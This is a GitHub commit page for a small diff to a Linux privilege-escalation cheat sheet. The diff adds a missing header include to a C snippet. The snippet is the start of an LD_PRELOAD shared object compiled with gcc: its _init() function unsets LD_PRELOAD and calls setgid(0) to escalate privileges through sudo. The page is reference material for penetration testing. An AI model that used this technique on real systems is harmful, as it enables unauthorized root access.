Merge pull request #398 from bash-c/patch-1

add missing header file in Linux - Privilege Escalation.md
This commit is contained in:
Swissky 2021-07-26 11:49:01 +02:00 committed by GitHub
commit 2d273fd40e
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -442,10 +442,11 @@ Defaults env_keep += LD_PRELOAD
Compile the following shared object using the C code below with `gcc -fPIC -shared -o shell.so shell.c -nostartfiles`
```powershell
```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);